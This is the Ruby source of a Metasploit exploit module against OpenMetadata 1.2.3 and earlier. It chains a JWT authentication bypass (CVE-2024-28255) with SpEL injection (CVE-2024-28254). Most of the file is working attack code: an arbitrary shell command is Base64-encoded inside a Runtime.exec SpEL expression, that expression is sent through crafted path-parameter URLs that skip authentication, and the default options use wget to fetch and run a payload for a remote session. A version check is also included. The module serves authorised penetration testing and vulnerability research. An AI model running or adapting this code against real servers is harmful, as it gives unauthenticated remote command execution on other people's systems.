## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'OpenMetadata authentication bypass and SpEL injection exploit chain', 'Description' => %q{ OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. This module chains two vulnerabilities that exist in the OpenMetadata aplication. The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens. It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings that will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint. By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any authentication. OpenMetadata versions `1.2.3` and below are vulnerable. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor 'Alvaro Muñoz alias pwntester (https://github.com/pwntester)' # Original discovery ], 'References' => [ ['CVE', '2024-28255'], ['CVE', '2024-28254'], ['URL', 'https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/'], ['URL', 'https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255'], ['URL', 'https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/'] ], 'DisclosureDate' => '2024-03-15', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Targets' => [ [ 'Automatic', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'rport' => 8585, 'FETCH_COMMAND' => 'WGET' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the OpenMetadata web application', '/']) ] ) end def execute_command(cmd, _opts = {}) # list of paths that require no authentication unauthed_paths = [ '/api/v1;v1%2Fv1%2Fusers%2Flogin', '/api/v1;v1%2Fv1%2Fusers%2Fsignup', '/api/v1;v1%2Fv1%2Fusers%2FregistrationConfirmation', '/api/v1;v1%2Fv1%2Fusers%2FresendRegistrationToken', '/api/v1;v1%2Fv1%2Fusers%2FgeneratePasswordResetLink', '/api/v1;v1%2Fv1%2Fusers%2Fpassword%2Freset', '/api/v1;v1%2Fv1%2Fusers%2FcheckEmailInUse', '/api/v1;v1%2Fv1%2Fusers%2Frefresh', '/api/v1;v1%2Fv1%2Fsystem%2Fconfig', '/api/v1;v1%2Fv1%2Fsystem%2Fversion' ] # $@|sh – Getting a shell environment from Runtime.exec cmd = "sh -c $@|sh . echo #{cmd}" cmd_b64 = Base64.strict_encode64(cmd) spel_payload = "T(java.lang.Runtime).getRuntime().exec(new%20java.lang.String(T(java.util.Base64).getDecoder().decode(\"#{cmd_b64}\")))" unauthed_paths.shuffle!.each do |path| res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path, 'events', 'subscriptions', 'validation', 'condition', spel_payload), 'method' => 'GET' }) break if res.code == 400 && res.body.include?('EL1001E') end end def check print_status('Trying to detect if target is running a vulnerable version of OpenMetadata.') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' }) return CheckCode::Unknown('Could not detect OpenMetadata.') unless res && res.code == 200 && res.body.include?('OpenMetadata') # try to dectect version res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'version'), 'method' => 'GET' }) return CheckCode::Detected('Could not retrieve the version information.') unless res && res.code == 200 # parse json response and get the version res_json = res.get_json_document unless res_json.blank? version = res_json['version'] version_number = Rex::Version.new(version.gsub(/[[:space:]]/, '')) unless version.nil? end return CheckCode::Detected('Could not retrieve the version information.') if version_number.nil? return CheckCode::Appears("Version #{version_number}") if version_number <= Rex::Version.new('1.2.3') CheckCode::Safe("Version #{version_number}") end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") execute_command(payload.encoded) end end